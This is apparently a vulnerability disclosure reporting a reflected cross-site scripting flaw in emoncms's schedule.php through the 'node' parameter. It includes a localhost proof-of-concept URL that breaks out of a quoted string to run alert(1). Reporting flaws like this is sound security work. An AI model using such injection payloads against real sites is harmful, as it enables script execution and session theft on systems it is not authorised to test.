Hi,

I have found a XSS in vulnerability in: emoncms/Modules/input/Views/schedule.php using the parameter 'node'

Proof of concept exploit: [http://127.0.0.1:9000/Modules/input/Views/schedule.php?node=1%22;alert\(1\);var%20x=%221](http://127.0.0.1:9000/Modules/input/Views/schedule.php?node=1%22;alert(1);var%20x=%221)
